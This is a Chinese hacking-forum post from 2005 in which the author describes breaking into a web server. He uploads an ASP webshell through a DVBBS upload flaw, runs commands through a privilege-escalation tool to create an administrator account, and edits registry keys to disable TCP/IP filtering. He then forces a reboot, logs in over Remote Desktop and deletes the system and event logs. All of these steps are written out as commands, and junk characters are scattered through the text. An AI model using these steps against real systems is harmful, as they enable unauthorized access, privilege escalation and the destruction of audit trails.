QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2426|回复: 1
打印 上一主题 下一主题

从建立用户到3389登陆

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-1-23 13:50 |只看该作者 |倒序浏览
|招呼Ta 关注Ta

作者:晓菲 来自:http://www.wrsky.com/

6 x* o& [7 A [, d3 R

本人技术比较菜,希望各位高手看了后不要笑话。。

9 U7 ]: G5 [! D

今天下午在上网,一个QQ号接到某些人用那个QQ发言软件发来的消息,反正就是广告好了,但是也没太黄,或者太难听,就是宣传自己的主页的,一般碰到这样的情况我都爱理不理,正好看到他和我是一个地方的,我们这小山钩钩还有人会在网上发布消息,真晕哦。不行,得去看一看,我没有直接打开,(我也怕里面有网页木马),好吧,用明小子的Domain,就是那个旁注工具,一般我都喜欢先看一下,扫到一个upfile.asp,是DVBBS,很容易的上传一个马,好了,进入,我使用的是冰点的2005.asp和火狐专用版4.asp,(其实我还是比较喜欢用老兵的木马,但是不知道什么原因不能用了,555,技术菜真汗。~~~)好了,废话不说了,开工。 7 ?7 F i; _0 `' ^7 C+ {我主要介绍一下建立管理员的过程,好,先看看能打开别的盘不能, 8 W. R1 O6 m8 l& W. h: m哇,这个服务器很好,可以浏览整个服务器里硬盘里的所有数据,而且还可以写入7 w* S0 }. G( b$ @8 f 使用一下net user2 \9 v. H" N8 h" N( b4 _7 A 返回的提示信息显示,只有默认的几个帐户,嘿, ( W' i* V( F ^" V在试一下$ j: N) U, L' [3 Q# `, ] net user xiaofei xiaofei /add ps:建立一个xiaofei的用户名密码也是xiaofei( j* D# C) m* e7 Q6 e3 a: A ASP木马没有显示,哎看来不行,我还没有试过直接可以用ASP木马建立用户名的服务器呢,(其实以前也没有成功过)( Z5 F4 [! Y6 c 哎那就在换别的方法 ! p8 Z8 H; W! M. Q( l/ k好的,看他用PCANYWHERE了吗,一般使用这个作为网站管理的比较多。* C. \- z0 t9 u 找一下他的默认目录:$ E" K; b/ c; X8 B; K! ]- X C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/ / o$ _2 A! A" [, K; G. ^& f 哎,这个服务器也没有装,难道没有方法建立用户名了吗?5 q! X3 y, Z' M4 f* p6 X 在找找,在D盘里看到了SERU,忘记看版本了,想到可以用工具提权,就糊里糊涂的上传了一个工具上去,找了一个ftp.exe,ok,然后# _2 J6 v6 C: V' v/ d: h D:ftp.exe "net user xiaofei xiaofei /add"5 f3 O% F4 Q C. O' V9 A! F M. p 提示一大堆返回信息什么的,然后使用了一下net user 看到xiaofei这个用户名了,就是成功了。 6 G: M' k# E- i- Y- @* e& E7 A8 iD:ftp.exe "net user xiaofei xiaofei /add": V& A4 C% L0 @7 M0 ~6 d 继续提权,在继续输入 # m* ?3 S" E9 r- lD:ftp.exe "net localgroup administrators guest /add“- Z& q, J' d; F4 d( A 又成功,然后执行了一下netstat -an 看了一下,ok,3389已经开放了,不用在麻烦我去开3389了,ok,找3389终端登陆,go。 0 \# ~* [5 A7 C" F; Z: g" i" l) I" z打开终端了,但是连不上,晕忽忽。哭哟,用户名都建好了,还连不上主机,在翻了一下目录,也没看到有防火墙,使用ipconfig -all,也没有和内网连接的迹象呀,郁闷ing,不知道怎么办了。正好在冰点极限论坛看到了一篇文章,“从上传webshell到突破TCP/IP筛选到3389终端登陆”(我在下面的回帖中会放上这个帖子,帖子中有详细的介绍)其实这样的文章好多,平时其实没怎么注意的,正好现在被我看到了,哈哈运气好,希望明天买彩票也能中个500W就好了。ok。其实是服务器做了TCP,IP筛选,3389端口可能只能让某一段IP进行访问,那好吧,我们就把他删掉。 , a; m4 A c% P& l8 KD:\ftp.exe "regedit -e D:\.1reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第一处 L, K& q! Y/ }2 F4 l9 } D:\ftp.exe "regedit -e D:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第i二处 9 s$ T: j: q, i1 m: f; b6 bD:\ftp.exe "regedit -e D:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第三处 & m2 _9 b9 w& T然后下载到自己的PC里,使用记事本编辑,然后ctrl+F搜索EnableSecurityFilters"=dword:00000001这个参数,把它改成EnableSecurityFilters"=dword:00000000。 把1.reg,2.reg,3.reg都改过来,然后上传回服务器路径中,我又上传到了D盘里,~好了,我们要把刚才编辑的1,2,3都导入注册表中。 ) y( q3 _' U- m# q7 h4 wD:\ftp.exe "regedit -s D:\1.reg" 直接将1.reg导入到注册表) M/ ^5 Y# S3 @. w( v 另外两个也一样。" `" {" h7 u* H" U* n' i3 Z 然后在执行5 H0 c+ N4 M' z$ G o D:\ftp.exe "iisreset /reboot /timeout:00" 利用他自身的iis服务来重新启动他的机器,/timeout:00这个参数是让他立即重新启动,也就是一小会,访问网站,已经访问不进去了,差不多几分钟后,可以访问了,直接登陆3389,输入我建立的用户名,ok了。我们的提权访问工作也做完了。最好也把日志清一下,做坏事了嘛,嘿嘿。下面是日志存放文件,在DOS下运行一下就ok了,不在需要用用别的工具咯。- M7 L0 m7 L3 q( `0 ~7 P0 S del C:\winnt\system32\logfiles\*.* ) b8 j/ W! e9 Ldel C:\winnt\ssytem32\config\*.evt : |+ A8 q8 h. }2 `# \8 L" j4 v# O4 Qdel C:\winnt\system32\dtclog\*.* ; y. C$ x2 c. L0 Zdel C:\winnt\system32\*.log $ x h9 ^6 |, u* C7 O" d del C:\winnt\system32\*.txt ! I: t1 M$ j/ I; ydel C:\winnt\*.txt S$ g& \' m o# r5 x5 B del C:\winnt\*.log 9 L' J4 o( x( j0 }/ h当然人家做个服务器也不容易,大家不要对国内的机器进行破坏哦。好了,找服务器的管理员的联系方法去了,如果你要是做违法的事,小心警察叔叔第二天来敲门哦。。。7 o$ h8 C* v: f% } 本人只会使用一些别人编写好的程序进行对网站的攻击,但是对基本的原理还不太了解,来到火狐希望能和大家一起学习一些基础的知识,大家来一起学习吧。 # X; y: R0 Z6 L% b/ W' D, t3 v 本人在申请火狐论坛的认证会员,希望管理员看在打了这么多字的份上在多考虑一下拉,好好学习,天天向上。

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
USER001        

2

主题

2

听众

61

积分

该用户从未签到

元老勋章

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-13 14:46 , Processed in 0.476125 second(s), 58 queries .

回顶部